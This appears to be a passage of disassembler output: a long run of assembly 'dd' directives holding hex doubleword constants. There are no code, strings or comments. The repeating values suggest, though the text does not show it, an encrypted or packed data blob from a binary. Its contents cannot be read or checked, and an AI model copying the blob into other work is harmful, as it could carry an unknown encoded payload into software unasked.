		dd 6F3D4E3h, 0F0C136CFh, 0FE5AB45Eh, 0C5CB9BA3h, 0CC1B2327h
		dd 0FEE12512h, 3353B69Fh, 718C446Ch, 0DCC608B2h, 2402CDF2h
		dd 841F4B35h, 65DD5E2Ch, 0AEA25762h, 0D8656A0Fh, 0DA2E23D5h
		dd 3A83EDB5h, 7B332ADh,	0BE9C787Ah, 897793C0h, 80A7ED0Bh
		dd 0D0615B91h, 239F32B4h, 0D066418Eh, 45FF32B4h, 0A2F77B2Ch
		dd 0D634718Ch, 841DFB9Ah, 0C0337631h, 0A4936B12h, 0C8C200BBh
		dd 1EA2C804h, 8AACD13Ah, 2DCB6850h, 0CB02FA41h,	5DE24812h
		dd 0BA722BC1h, 0D5161FF4h, 3FB198C5h, 0AA2F4C03h, 0B89F0CDh
		dd 2A886938h, 0E0386E97h, 0E2CC62A8h, 986517EAh, 628A7B0Bh
		dd 0CC1B4287h, 0E9C7EDFh, 10D881E8h, 0DFCA1C70h, 0FD7D73D0h
		dd 209EB72Ch, 0C9A16BFEh, 0DF068E5Dh, 0A046952Ah, 196795BAh
		dd 0CE4B3CCDh, 622FC127h, 0EA78FA0Bh, 0A04759B1h, 6E5A3D57h
		dd 21F6EA1h, 0B00CE0CFh, 0DCD00BA8h, 20A764C0h,	7BF9F8FEh
		dd 7BE1C70Eh, 5755F181h, 0DA146825h, 0AF9632B5h, 90E11617h
		dd 8774A1BFh, 7B874C5h,	0DA078AB2h, 0A0499EA4h,	1000F850h
		dd 0FEC7B5F6h, 78515660h, 92EFF182h, 7A311588h,	6C01B27Ah
		dd 0F709E3E2h, 0CC1B42B9h, 7E82F5CAh, 0B34D7E94h, 0D815A6DBh
		dd 5CD8E917h, 0A4602361h, 0F83D2BD1h, 5E08DEEAh, 63D0D631h
		dd 22939570h, 1BD4A3B7h, 30892901h, 8BB8B903h, 0C2D07195h
		dd 22CEBDC2h, 1D94EBEFh, 38F1A2B8h, 4FD8871Ah, 1B59E817h
		dd 2D9A21BDh, 2DA2388Ch, 79DFC10Fh, 0A21FF181h,	0B666A71h
		dd 0B081603Dh, 34CE4D2Ch, 0E6B29h, 0D331F181h, 5C12AACDh
		dd 7386F3Ah, 3CCC62AAh,	0FE5B99D1h, 0D3C9DDBh, 8466418Eh
		dd 8DB732B4h, 673B7F14h, 5FE3E783h, 5E7C6084h, 378A7B69h
		dd 0CC1B4371h, 0BE9C7E3Ch, 0B3CF3621h, 0CA9D62F4h, 0EE973004h
		dd 762E7693h, 0B42AA3D8h, 5C596ACDh, 1507DCEDh,	7C8C4E9Ah
		dd 0C9FB01DBh, 0ADEB1926h, 9ECEBDCFh, 86843079h, 56630F6Fh
		dd 9BD963F7h, 96C71C4Ch, 196E2D66h, 6ACC6D6Dh, 7450C3D8h
		dd 3D3FA17Ch, 37F43B03h, 0E77F72C1h, 1C14D926h,	0BE0289FEh
		dd 371D1F1Eh, 4B6B8C8Fh, 7671F17Eh, 2745F17Fh, 2916F898h
		dd 2A954B69h, 0E3C51CA4h, 594991B1h, 7E6A2289h,	0C5225884h
		dd 0A52D4812h, 3F760F98h, 387BC2D8h, 903A811Eh,	53055B5Eh
		dd 4B7A2D32h, 0F30E4D45h, 5CD8FB1Ah, 9F592461h,	0C7226F9Fh
		dd 0C9E3805Fh, 8DCC7C45h, 0BE9BEA88h, 807E1724h, 6381C4BEh
		dd 0E355AA30h, 0CDA994B2h, 12F6AD45h, 776DA54Ch, 5C3D46Ch
		dd 38F3256Ch, 0F9440CD2h, 0BD7FF5A7h, 5AC1859Eh, 0B00CED93h
		dd 9011A0DCh, 3003FBCCh, 0ADCEBDC2h, 10C6D4A8h,	0A01E63A1h
		dd 6E7192AEh, 0B11EA7D3h, 0EC78A50Ah, 6DFE0DD5h, 28CAB806h
		dd 1CCC7D54h, 1C99E421h, 0E49DE821h, 3C0CE2C4h,	4D187E8h
		dd 0E73314AAh, 83A08AA7h, 9B9842F2h, 0D6C32772h, 6F3118Fh
		dd 0D6270848h, 5B97118Fh, 2107C2F3h, 0F99668FBh, 0BF5A54Bh
		dd 66E06604h, 41951B4Ch, 3AF798E4h, 0CE23ED93h,	0B0420633h
		dd 34D0F910h, 77952159h, 0C1EB0D48h, 981F00D0h,	625F119Ch
		dd 0CC2F46FBh, 8C7E4812h, 2F04E0BFh, 0EFCEBDC2h, 823D6798h
		dd 837F3552h, 5009A05Ch, 28EE0C3Bh, 62CFD1D9h, 0F7AAF379h
		dd 238E9516h, 8D3988C2h, 0B31EBC61h, 45FF5C0Ch,	66DD66A0h
		dd 3983014Ah, 899AA69Ah, 0CC1B480Fh, 0CC1D8F60h, 20024812h
		dd 2F05C1E7h, 0F4A1D1E5h, 0CC1D8093h, 1B9A4812h, 0CC1B480Dh
		dd 27FE0F91h, 0DFE379Ah, 9E9AAD9Ah, 0CC1B480Fh,	531FA595h
		dd 4D767C1Eh, 11C27C1Eh, 0B72051FDh, 90997CBFh,	0CC1B480Fh
		dd 302DDA5Eh, 0CC1D8792h, 5AC34812h, 4D1B48FEh,	1FA77CBEh
		dd 302DC519h, 4C3CC062h, 0CC1B5CCFh, 0CF5CC312h, 531B4812h
		dd 0B7767C16h, 4DEC7CBFh, 0CF5BC274h, 451B4812h, 0CC1B5CD4h
		dd 302DC112h, 0B92EBBE5h, 0D6C2488Dh, 8B0B2A9Bh, 4FE4B0B8h
		dd 891C41DDh, 0FCCDA286h, 141F16A3h, 175C0D59h,	677E0B61h
		dd 0C3552A42h, 0DC7921A1h, 9FF3734h, 0E7EE5C95h, 0B48AD260h
		dd 38E039E9h, 21B6D3B3h, 2B2C0C73h, 0DB3768D6h,	1B710041h
		dd 41D10201h, 0E08A92F5h, 0DB54CA62h, 49546D97h, 0A3A92F7Ch
		dd 64CE174Ah, 0C1E35ACEh, 2EFC29C1h, 0E28CBE1h,	0E5790BEDh
		dd 4B1C466Bh, 64755A8Dh, 74B9F1FCh, 650B1BC8h, 0F711656Fh
		dd 2AB9D588h, 0D042DE2Ch, 0D71B4812h, 86C6D53h,	0CC2A5E18h
		dd 0D0434812h, 0CF1B4812h, 67395BDDh, 0B91ADB45h, 0B77329ACh
		dd 0A756C3DAh, 721B48FBh, 5F160E45h, 464E977Fh,	8B277D0Eh
		dd 5941C3DDh, 1D1D1EC0h, 0B8A18392h, 512706B2h,	0CC1B4814h
		dd 1C9A4A9Dh, 73CBEC4Dh, 0D1A25099h, 809FD9C5h,	0F41B4812h
		dd 0CC1B481Dh, 768797FFh, 8CE568DBh, 0C3C84952h, 1A992BE8h
		dd 5C88CA45h, 939E26F1h, 6C668916h, 9691818Fh, 0D3417844h
		dd 0B61B4812h, 6EE6BAB6h, 469FD3EFh, 0CCAA8288h, 19DDB89h
		dd 0FA584B85h, 0CC1B4D9Ch, 9A53C512h, 6432F0CFh, 5BC7EFC7h
		dd 0D046FBD9h, 19E66B82h, 0E1FE6451h, 4904B092h, 0B1D32E7h
		dd 4B831137h, 0EDCB7BCAh, 0E237280Bh, 0D3B59EF5h, 1CFE6F2Eh
		dd 0E5FE6ED4h, 2A32FD52h, 80B59EC0h, 4724DFD6h,	3E3728C7h
		dd 0E7B59EBDh, 1CFE6452h, 9998D4D6h, 0C4A730A8h, 41B59ECAh
		dd 0F1E39A52h, 0C5FE6452h, 6E54240Dh, 66FB4303h, 0C9FB4313h
		dd 97FE6452h, 0AC452405h, 0E3F452EBh, 3F7C0F53h, 0E5FE6FC7h
		dd 6C71F2B6h, 66B838B2h, 47166F36h, 0E4F68DC7h,	0E5FE64BAh
		dd 184F4452h, 0D1F1E6FFh, 0D139EEC7h, 0E5FED3C7h, 1847A952h
		dd 40E73844h, 0E3873152h, 9AB59F52h, 0EEA1C10h,	424D5DB2h
		dd 1A0FC3E5h, 74ACEAA0h, 93DBD8A8h, 0B6B9AE3Eh,	8B71BB92h
		dd 8D7C413h, 0B3077EFCh, 940F0A06h, 0B6ECF299h,	0B85D25EBh
		dd 0F4407B3Ah, 0B1C50F23h, 2AD9E579h, 5F5241E8h, 97B9D3E6h
		dd 7925A5A6h, 7DF11E67h, 0E1EDEC7Ah, 49FB848Bh,	5E9B2792h
		dd 2C1C1B92h, 55D7DD3Bh, 0F5AC01E1h, 88702348h,	3E15BAD6h
		dd 7F2B886Ah, 280FC462h, 0A8941E6Bh, 0CA960DF7h, 57869DEh
		dd 0A6DAFFB4h, 0A6CA876Bh, 0CA96316Bh, 5C15BDEh, 39BE1757h
		dd 0B23F8058h, 525B0132h, 3B7B4C62h, 11C1966Bh,	3CA94BE9h
		dd 0CBB6CC6Bh, 52FF62DEh, 0F990CC44h, 464D2C54h, 38436846h
		dd 0CA9609DFh, 0CA960CF6h, 8DF6A9DEh, 0B28B03C0h, 0FD4A3211h
		dd 1C5D72C8h, 0D338D278h, 4D82CAD3h, 0C975070Bh, 3B7E9C5Ah
		dd 7E0FFF6Bh, 0C990F76Bh, 3B7E07FAh, 0C30BBA6Bh, 67950B78h
		dd 384308BAh, 156CC958h, 0CB5EF208h, 0BCCED965h, 0E0076AC8h
		dd 0DAEBE71Ah, 0E775C1CAh, 0CAE41AA3h, 22FFB80Fh, 8AA56D97h
		dd 1DC12CB2h, 521B8603h, 0F678A2h, 7CBDA7A3h, 4AD4E01Ch
		dd 2A381D80h, 7EC5B4CFh, 0C7A2B71Ah, 616C2E24h,	34DD5DE4h
		dd 3052FE2Eh, 5A2503Ah,	98A9E9CDh, 0A3BA9B2Eh, 0AB2E2412h
		dd 0AB4E9B46h, 56286E26h, 0BEDAEC6Eh, 0D71BE8E0h, 0FDCB8297h
		dd 3203FDF8h, 0D97511F0h, 61AEBA09h, 0D5C6CC48h, 3203882Ch
		dd 5F5692E5h, 0B4539B48h, 32038C60h, 474273F9h,	5F4EFF40h
		dd 32F2C48h, 55CA277h
		dd 6B79A057h, 5F4013DAh, 9FBB9B48h, 0CF43BD0Ch,	0E688D03Dh
		dd 80CFBCF4h, 82C3FE08h, 0F2B06D2h, 74E9B48h, 0D5B8E351h
		dd 0D0D08511h, 1F1D107h, 4354C323h, 8351157h, 9EC6ACC6h
		dd 312B29C6h, 0DC4E9B48h, 0B5289ABh, 0A5BAA7AFh, 555CC9h
		dd 0DAAFEEFCh, 0D9206BE2h, 0DAC52B43h, 29DF73F4h, 984F7121h
		dd 0DAAFE225h, 0E0D1CD44h, 4814B370h, 24D7D3Ch,	15F4EF9Fh
		dd 2012364Dh, 24D7D35h,	0E090B08Bh, 458431BCh, 0E358ABDFh
		dd 159425AEh, 0E08D21C9h, 9A1ED4BCh, 478EDB20h,	0E08D301Eh
		dd 9D0BD80Fh, 0B202F4CCh, 478EDB27h, 5942508h, 0FFF40669h
		dd 9B68EBBBh, 97DE9DC3h, 0DEB9C754h, 7AF6E7h, 57986390h
		dd 4 dup(7AE751h), 0F77AE751h, 37E04Fh,	687698F0h, 0A8E9A36Bh
		dd 0BA148918h, 127CC218h, 5E30A62Eh, 0C4439B3Fh, 8674D89h
		dd 0E51DF3B3h, 0FCFF1E44h, 0F3FB4C56h, 7CFEBBh,	0B80258B3h
		dd 0ABC50F19h, 0E15717B5h, 9FD91900h, 0B70CDA3Ah, 3F9998B0h
		dd 8D65804Dh, 0FC5563h,	34DEC7D1h, 2E3C4022h, 904578Ah
		dd 0C7BA52B6h, 2588A60Bh, 0EFA42D49h, 0CE467422h, 5153A70Ch
		dd 3679E64Ch, 6E7B7426h, 0F420EBAFh, 9D0A6A58h,	7AE7C590h
		dd 66D7505h, 60BA72ABh,	5D03E04Bh, 7A04A69Dh, 53093A61h
		dd 4B8A7995h, 42DEC9B5h, 80850325h, 22B9A7E1h, 0B9850322h
		dd 5FD1C50h, 0D6DBE958h, 0A9DF7CEh, 0CA72D5FCh,	0BDE350FDh
		dd 0D5CBB71Fh, 49CFDE2Eh, 0ABEB81F8h, 0C92FD799h, 0D8683FC0h
		dd 6D715E7Fh, 48F09400h, 967E7422h, 0EC0AB29Bh,	0DE85038Bh
		dd 0E04D862Fh, 8B733777h, 7AF5EBh, 8A560C4Ch, 0D301D1B0h
		dd 0B67A7495h, 0D90C0463h, 3E721376h, 56426083h, 7B86A3h
		dd 1FA8E751h, 0ABC5DAD9h, 0A30017C7h, 0CE9D88C6h, 0BC67FFF6h
		dd 2766A90h, 5765CD10h,	3BEFE10Ah, 0D480C3F6h, 4E97AF70h
		dd 0DE644A23h, 269131ABh, 2EEA49C4h, 0EF18D409h, 0A2F94524h
		dd 0CE9D88C6h, 2B96F013h, 8B28DFFAh, 0D8850E79h, 0C66B4C8Ah
		dd 9E78070Dh, 0D39741DAh, 0AB7573A8h, 67560CB6h, 7A30859Ch
		dd 3C5EC5A0h, 0A5EE7D6Fh, 5BF07D3Bh, 70CC4484h,	0A75A2BD4h
		dd 0F9C5996Eh, 0C6C160E2h, 0C1FB4F8Fh, 0FEF86E92h, 2660E750h
		dd 6110655Bh, 0C6E8CB4Dh, 7272DB41h, 0BB4B99B1h, 829D0094h
		dd 4C102966h, 59A502Ch,	488494E7h, 5699E984h, 6171A2EAh
		dd 59C3E4B4h, 0C8C8154Fh, 0E60D780Ah, 6618D98Ah, 425CC575h
		dd 0EB842A5Ah, 32BC42F3h, 0B21AB0Ch, 0A3037CE9h, 910A530Dh
		dd 0EC9859F3h, 1F73376Ch, 7AF5F8h, 98580B90h, 2E4D5F9Ah
		dd 0A2BC2E92h, 3EF83977h, 6720741Ch, 0D35E7A3Ah, 839D7495h
		dd 0FDAC8056h, 0E22F59B4h, 757404DFh, 53DA995Dh, 2C823DF4h
		dd 0E51C3A89h, 35D99538h, 95D47055h, 39DEECDh, 1F775B1Dh
		dd 65D93487h, 0E74C17EAh, 7AF63Dh, 63DA9551h, 7695BC3h
		dd 0E409DEDAh, 6911A794h, 4DD82979h, 0BD1ABB76h, 6EE07452h
		dd 255B6F0Ch, 87B9231Ch, 0B9DD9992h, 1EBA72B8h,	0F0A7F270h
		dd 0A73CBDF4h, 60DCEFB1h, 0A14C7388h, 0D7A3EE2Bh, 213B522Eh
		dd 6E10D0DBh, 0DD826ED5h, 122C744Eh, 0F0AB5C69h, 0A6D9F08Ch
		dd 0A3CAFF3Bh, 5D3776D4h, 878EABF2h, 131A097Bh,	950BC14Fh
		dd 0EC761FEDh, 43153663h, 527AF7BAh, 5A9F0D0h, 0A73E8E8Fh
		dd 0AE02C3B1h, 8484C20Ch, 3A4790CFh, 3556C6h, 8A76DDE8h
		dd 47339F57h, 0BCF0289Ah, 7375DF0Fh, 3DEB6794h,	22D475C6h
		dd 44601F8Eh, 5F896249h, 0AD0077FFh, 8D26B152h,	461B949Dh
		dd 7A7111E0h, 5F9B6A33h, 47AD09ADh, 0A0050CC9h,	7AF65Fh
		dd 43DFC580h, 7F8EAC2Fh, 7FBCB9E2h, 91AE3FBDh, 0E32C50AAh
		dd 64987908h, 33EFD9CFh, 16050512h, 1A2F10C0h, 0B1050512h
		dd 1F8BBB53h, 0FD97655Bh, 6B6C9FFCh, 0AA443A61h, 31050513h
		dd 9213B48Eh, 9E1365D6h, 0C5B8C157h, 35D9952Ch,	0BDF08496h
		dd 2F9A3375h, 95850512h, 1DF32F9Ch, 58E5B747h, 0FFB65D97h
		dd 3FF5E750h, 2F0D1ABDh, 0B529AD31h, 5A9F0D0h, 0A7A1EA8Fh
		dd 0E65847B1h, 0A70A09ABh, 0FD5617ACh, 4E8ED453h, 0AA296D23h
		dd 8FE4AFFh, 0E997F484h, 56082341h, 8796EE53h, 0F9E713A2h
		dd 0A3103831h, 0C7EB7451h, 10051C50h, 47AF5A33h, 156C4C34h
		dd 47AC7EFDh, 27D89486h, 9AA770C6h, 3D6D3961h, 1B9F8B27h
		dd 454D0B78h, 0F3841B27h, 621525DDh, 0C70440B5h, 9E66669Bh
		dd 4FBACA28h, 35CDEF44h, 0D4E3839Fh, 7F6CF2DCh,	636F4AAh
		dd 0BDF736D8h, 8D90F7B9h, 15072D64h, 0F9679AAEh, 181910BFh
		dd 69AD691Bh, 201CDD2h,	8924BC7Ch, 62C7C4B7h, 53BA64A0h
		dd 5F11ADD8h, 168B4008h, 3D6E1BB7h, 0E5876722h,	401528Ch
		dd 0C12F59BFh, 4601CFA7h, 0A37C4E95h, 0C28F32C7h, 314E62A2h
		dd 0D9A33B93h, 0DB3CBBAh, 8528AB32h, 5BCEC9BAh,	95A1868Ch
		dd 7AF7B8h, 63B4734h, 0E2F76F60h, 0B1B42719h, 90878009h
		dd 0C4592883h, 86EE617Bh, 0DC48E6CCh, 7F5670EFh, 0EF33D533h
		dd 0B7055121h, 0D1D9333Ah, 0E900B800h, 82A339h,	0A1B5E751h
		dd 22ED6E44h, 2EE3052Dh, 482CAC6h, 1B7AE751h, 7AE742h
		dd 6AE3E534h, 76E5BEC2h, 7849AEh, 83E3DEC6h, 0FAFEBB4Ch
		dd 987B9324h, 0BD00E5A7h, 52FE09F2h, 43D6B24h, 2F7AE751h
		dd 37E516h, 97A7EC51h, 248562A9h, 7D82AEC5h, 7ED4DA94h
		dd 2F66AEDh, 7F7AE751h,	79C10Dh, 22E56E51h, 2475AD1Ah
		dd 43D7100h, 0A7A8E1E6h, 0DACC71EFh, 0F0D5E3DAh, 1853E287h
		dd 68A7CDBBh, 1855F2A7h, 0E03DA050h, 5A0CBAC8h,	94BFD141h
		dd 3C1505ECh, 5E044E09h, 0D94E6B6h, 0FFD18942h,	0CCA59C7Ah
		dd 2090EF2Fh, 6384091Ah, 37E059h, 28FBFB51h, 0F9B6ACC6h
		dd 754B0D4Dh, 86210128h, 727D4AD9h, 6E6AB13Ah, 0FAF3E751h
		dd 91B8D8h, 7C681651h, 7B8AE5EFh, 7AF7B9h, 796DB97Dh, 86CF9EB5h
		dd 0D6AD7E03h, 7FA162D4h, 554B84Bh, 25A06B24h, 50CFE525h
		dd 79BA38h, 1B14951h, 69C5EADDh, 0FF08A62Bh, 4E85C2CFh
		dd 634A411h, 5202BD1Ch,	0F838ACEFh, 7AF7ACh, 8B0F302Eh
		dd 63B9737h, 635A9D1h, 81A36B6Fh, 1103B44Fh, 990E18F6h
		dd 178B2711h, 41h dup(170E1929h), 0CC0E1929h, 19824D5Ch
		dd 20F05D74h, 383D837Eh, 908A5671h, 949E0DCEh, 228B43C5h
		dd 228C0DC5h, 0C838EC2h, 9384426Dh, 96785D88h, 283BB96Bh
		dd 5C828579h, 287D5C19h, 0D0AA180Fh, 6C9F8373h,	197D42AEh
		dd 12AF4C29h, 77AA4913h, 0B8B3C02h, 171196AFh, 6 dup(170E1929h)
		dd 176FB6FEh, 0ADD99129h, 98FD2ABFh, 0D60D0F8Eh, 0EF248603h
		dd 4FECCFAh, 0AC885A29h, 0E4FD2ABFh, 0D60D0F8Eh, 0EF2486C6h
		dd 4FFE8FAh, 0AB7B5A29h, 0FD2ABFh, 0D60D0F8Ch, 0EF24374Ch
		dd 4FED4FAh, 0B1065A29h, 4CFD2ABFh, 0D60D0F8Eh,	0EF24863Fh
		dd 4FED0FAh, 0A33C5A29h, 0A8FD2ABEh, 0D60D0F8Dh, 0EF24336Bh
		dd 5037CFAh, 0B8DB5A29h, 0B4FD2ABEh, 0D60D0F8Eh, 0EF2439E3h
		dd 50298FAh, 0B7545A29h, 10FD2ABEh, 0D60D0F8Fh,	0EF2481F9h
		dd 50384FAh, 9D085A29h,	5CFD2ABEh, 0D60D0F8Eh, 0EF248853h
		dd 50240FAh, 16665A29h,	78FD2AC1h, 0D60D0F8Fh, 0EF279A38h
		dd 4FE2CFAh, 0D4205A29h, 44FD2AC0h, 0E60D0F8Fh,	0BEB91E06h
		dd 59731BD9h, 0A8E40101h, 0C189E1FDh, 9CAD0519h, 25279CF0h
		dd 50BD8CE2h, 8E5CA571h, 0E46D943Ch, 0FBCCC5AEh, 250C2D7Ah
		dd 1BEC6618h, 520C9534h
		dd 451EB3D0h, 0F32FD4BBh, 72FDCC1Ah, 7F6A1BB6h,	8CB6891h
		dd 0CB018D93h, 2CF4A137h, 2832E1DBh, 6901F7A8h,	679C3098h
		dd 4F38FADDh, 1AF2EF1h,	565B4B20h, 0EE82EF1h, 48FB74B8h
		dd 0C97F00F0h, 0A9799FFEh, 18A94338h, 0E54D1929h, 4F19EA44h
		dd 74F4D462h, 0FAFD07A8h, 187947FBh, 0C26A1BAAh, 85AABBCBh
		dd 2F96F874h, 0B2C8DFAEh, 1E5F2EEAh, 4FFF7AB1h,	0B2603FCAh
		dd 29C92EEAh, 0EDD199ECh, 3E14BC9h, 812D89CBh, 3E8C1F0h
		dd 0E4A1DCCBh, 0B869C693h, 7E19DC38h, 0D3CE6B03h, 25F30EEDh
		dd 4C6EE080h, 3D0E1928h, 0A51151D2h, 0E86ADB43h, 1FFAFADDh
		dd 0F3C93515h, 639D492Eh, 1148AD64h, 2CF4D53Fh,	9FEE3E3Fh
		dd 734CEE20h, 58ED4AB7h, 0AA42B6F7h, 5AF52383h,	2513EE8Ah
		dd 461A3D08h, 0E5E1479Bh, 12F30F24h, 312AD217h,	1D219C1Dh
		dd 6E503FE6h, 2DAC8Eh, 5953354Ah, 0A3F4A3B2h, 776AFF4Dh
		dd 18C5E9DBh, 5F4CA1DFh, 0AB0E12CBh, 838313FAh,	96A7CD60h
		dd 66D6BCCDh, 3E3FD82Bh, 76F3C469h, 0E9F38F35h,	0F4F04F18h
		dd 4B4B3C3Eh, 0A9A954D0h, 0B09D8961h, 25106D06h, 37A41B5Ch
		dd 3907A313h, 0A5119354h, 96CD3793h, 4A3D0562h,	0C16A1BB6h
		dd 22CB67F8h, 2D8CAA81h, 2C10EB4Eh, 16EA986Ah, 9AE0957Eh
		dd 0B3FA2ABCh, 0EA8B58F4h, 0C6AA2EE9h, 7578C72Bh, 664DE33Dh
		dd 52FEE52h, 67AC29CBh,	8E5CA373h, 0E8F17125h, 0F5EC2EE9h
		dd 78C2E76Ah, 0F13C22DEh, 6D0E1925h, 0A51151D2h, 0B71D282Ch
		dd 2EC3691h, 536A83B5h,	0D29F2B67h, 0DD58179Fh,	3F1EA09Ah
		dd 0FA579C09h, 42898112h, 0D5D62E0h, 7D35DBE2h,	567D12E5h
		dd 0A765A562h, 0E56A5B3Bh, 975390F5h, 22ACDA8Fh, 0A763AE6Bh
		dd 7AE78C11h, 0AD432EEAh, 0D03E2F26h, 7AFD703Fh, 42B02EEAh
		dd 5557A34Eh, 0C76EC95Ch, 0F0691992h, 4AF0F537h, 59B60F6h
		dd 8FCA6FCBh, 0FAAF337Ah, 9ADE4CD2h, 0C7F0C7B5h, 6C947252h
		dd 18D2382Eh, 5746C44Dh, 830E12CAh, 5CAD72F2h, 6E4DE588h
		dd 573ED336h, 55679033h, 2F18A810h, 0C1FB4B0Ah,	4E98633Dh
		dd 0A33320FDh, 703711D7h, 688449EBh, 251065BEh,	374EB324h
		dd 3907A313h, 3AADFE54h, 516A1BAAh, 4713B187h, 4B978B08h
		dd 0F0CFB3D0h, 5BFDAA80h, 0F1C8399Dh, 0C8159F00h, 2ECE6B03h
		dd 4AF30F97h, 99931AD5h, 55F30F95h, 0DD1E773Eh,	35A33A2h
		dd 170EE34Fh, 6AB0525Fh, 1C2DE4CFh, 251303F2h, 0B1298673h
		dd 0E7F31046h, 0B0B7B65Ch, 902E2EE9h, 0DB9103B7h, 0B995B7A7h
		dd 0E83C044Ch, 0B1130B22h, 3AC79B47h, 9B3C1720h, 923A02ECh
		dd 0BBAB2A97h, 3BD1CC96h, 4F28A345h, 0FCCF3D44h, 0A527DA5h
		dd 0FAFC756Dh, 99278499h, 8DEAF8B7h, 0EB692E83h, 1F8260F8h
		dd 91C31926h, 0FEE59363h, 418C8DEAh, 0E883F590h, 45A77622h
		dd 8F8153BEh, 69022B9Ch, 74250678h, 0D1DA5415h,	37C471ADh
		dd 0A52D327Fh, 53F3EDCEh, 5BF5915Bh, 8EB98A9Dh,	2CF49D7Dh
		dd 42FD9DCCh, 0CE6F0F4Fh, 52BF369h, 3C1F8CCBh, 7F48073Dh
		dd 2CF4A5ECh, 0F9C24F99h, 0CEE41465h, 0A2ACD371h, 0E76E2EE9h
		dd 149A2B15h, 0E5F31044h, 0E756C332h, 0B0B7B65Ch, 902E2EE9h
		dd 0C89100DFh, 1D947252h, 0E2E6DEE2h, 9DFAC29Ch, 0E451433Eh
		dd 8BB65E5Dh, 0F3C06A50h, 0A52F693Eh, 0F0C96FA1h, 9A7606B4h
		dd 0A7F83096h, 0B68F1292h, 257D4547h, 9087EB03h, 0EEA77365h
		dd 98CC9CEBh, 0A132837Ch, 0A1699AA0h, 0B5CC627Fh, 0B63E1B8Ah
		dd 1BE4A939h, 0AD209B78h, 95A8C0BDh, 83C283C6h,	1E9869D4h
		dd 0CCDAB61h, 0E287E35Dh, 0C3D72025h, 0FBC61AECh, 0E606B4C7h
		dd 0C7CE52A6h, 0B6EB346Fh, 27C743F2h, 0F3C3FD5Ch, 18F521C4h
		dd 9CAE8127h, 0B48CD02h, 5627CC70h, 606DC0DBh, 0A2548ACCh
		dd 0AB53B32Eh, 474D2565h, 0F8CC943Bh, 5289B553h, 245FE05Eh
		dd 0C43036C7h, 0D2663D09h, 0E08B0BB4h, 4A78DEB7h, 96D9084Ch
		dd 44AB2AC7h, 5073A757h, 5E4F6F3Dh, 9763E0Ch, 3F2D4C2Fh
		dd 0CF07411h, 3ADDAC7h,	0DB98C0DEh, 0A64CCh, 0A8C2A535h
		dd 9DD960F8h, 0CFD1A3EFh, 825D54Fh, 164DA746h, 0BD867B6Dh
		dd 3CF6161Ah, 0C1C09B62h, 0A742F1A3h, 4AE8D9ECh, 401E0E8h
		dd 0E2E2D2D5h, 41484C6Eh, 258CE877h, 1C32889Dh,	254693A0h
		dd 548B3C4Dh, 705CA1D2h, 2B0E1E86h, 4D50D9EDh, 2E74A2Bh
		dd 70F30BBFh, 0CFD06F79h, 0FDC7D154h, 2C78DF50h, 57528BFBh
		dd 3555A300h, 0F99EE08Dh, 72868E35h, 37A9AAA4h,	0A4A5CB61h
		dd 40FA8DD7h, 0AF3AA17Ch, 0EBE3AB48h, 27E97673h, 7B94A64Dh
		dd 0FC2866E1h, 0D2529F11h, 3EEC9609h, 622FB5B4h, 0EFB21A7h
		dd 0B1B43A54h, 0DB612B66h, 308A301Ah, 142C4746h, 2445CD0Bh
		dd 494AB0D2h, 5724D841h, 6637D468h, 6EFFF00Bh, 1ADB14B3h
		dd 0ACC2E13Eh, 7BC2E096h, 2F9FDB77h, 0B6BBBFE5h, 0BFBFC71Bh
		dd 0A8C15643h, 0D3A6BB63h, 3222BD5Dh, 9EE8EB9Bh, 0B6B49170h
		dd 0C56E80F6h, 6DB6CAD9h, 9FCFBB66h, 8F8ED3A2h,	0D7291B0Bh
		dd 38EA443Eh, 3286E07Bh, 0B213079Bh, 84B95B0Fh,	0D168A7BBh
		dd 0A969B4B9h, 0A6191D80h, 0B3E3176Dh, 42FE2337h, 6ADB6CB9h
		dd 0F69754AFh, 295E6903h, 757A7825h, 6837812Fh,	0B092549Eh
		dd 99543AFCh, 0A8C7B85Bh, 4D195363h, 0AD78B75Dh, 0A395DD9Fh
		dd 0EB624E63h, 405AA6B7h, 0DC14A3Fh, 49699A61h,	1225C177h
		dd 0FFFFDBD9h, 0CF0FBADDh, 17D4B4FFh, 75B09699h, 8B4B5EBBh
		dd 98646EE2h, 0A360368Eh, 4C51043Ah, 9590552Fh,	83540F2Bh
		dd 8BF01F54h, 0D513F4CFh, 3AF91E7h, 2D8CADE6h, 0A05783B4h
		dd 0B21A2CF6h, 0B2F2E3D2h, 0E35DD818h, 0A9541034h, 677EC3DDh
		dd 85908E0Dh, 0FDEE9AB5h, 9AA6A841h, 6A491E0h, 0F61E85FAh
		dd 40C45567h, 0D470A017h, 41998E28h, 0A38E47D0h, 28ADD36Fh
		dd 9C1D86A6h, 0E321CB70h, 0A969B769h, 52F8EA5Ah, 0FD8E47D1h
		dd 2E5F1DD7h, 9C230C9Bh, 8A9BAEB4h, 1CCED5F1h, 0F492414Ch
		dd 29836F91h, 260DD0E8h, 62CB72EDh, 57B2C003h, 76FCF2CBh
		dd 307266ADh, 2676A048h, 4359F3FFh, 911B09F5h, 26798972h
		dd 0BC8C89FFh, 7FACAA8Ah, 0EE798AFFh, 7C886A90h, 532F385Bh
		dd 0C115D8ADh, 0EC315FC3h, 209E7540h, 83435A25h, 0AFC88E67h
		dd 0D450F655h, 7E1FDE29h, 0D4EAEA05h, 0FDB6F38Ch, 29699A0Ah
		dd 0AD78B75Dh, 1AFAF030h, 34A6B5F9h, 9B70570Ah,	49F4EF1Ch
		dd 8351452Fh, 6B6E085h,	7A458F45h, 22B5D1E3h, 0A31F5849h
		dd 0ED5B163h, 24EEB1DDh, 0BE8D81A7h, 6F68AEB4h,	7D08FAECh
		dd 0E178F55Dh, 0A3889888h, 0C977863h, 78B3811Fh, 9816C00Ch
		dd 19E7E2B8h, 4CD517D0h, 2ECFDE35h, 43EEA8D8h, 0B07B30Eh
		dd 8DC98DF0h, 0F14F1365h, 0BC1BB50Bh, 7C96941Ah, 19798851h
		dd 3A4A2902h, 0FDE1F41Bh, 8B470117h, 3C041FB3h,	0B4D7B80Fh
		dd 0E0B6769Eh, 0D3DB2E00h, 0E07A92CCh, 0AE697CD2h, 38522F5Fh
		dd 5411D97Ah, 0CC69426Bh, 0E09F6DA0h, 81E3F0B3h, 11B404AAh
		dd 0CB010FC3h, 0CBA63EA6h, 9854A2D8h, 95C9BF07h, 0FFA63E08h
		dd 976333BCh, 0A1381CE8h, 13EEFAE3h, 0BE5DA016h, 57A5475h
		dd 0F54690F5h, 6697FE9Eh, 69D017D6h, 0A3670F28h, 68E2665Eh
		dd 7398ED12h, 39889061h, 1CF177C3h, 0EF303F36h,	0B684338Eh
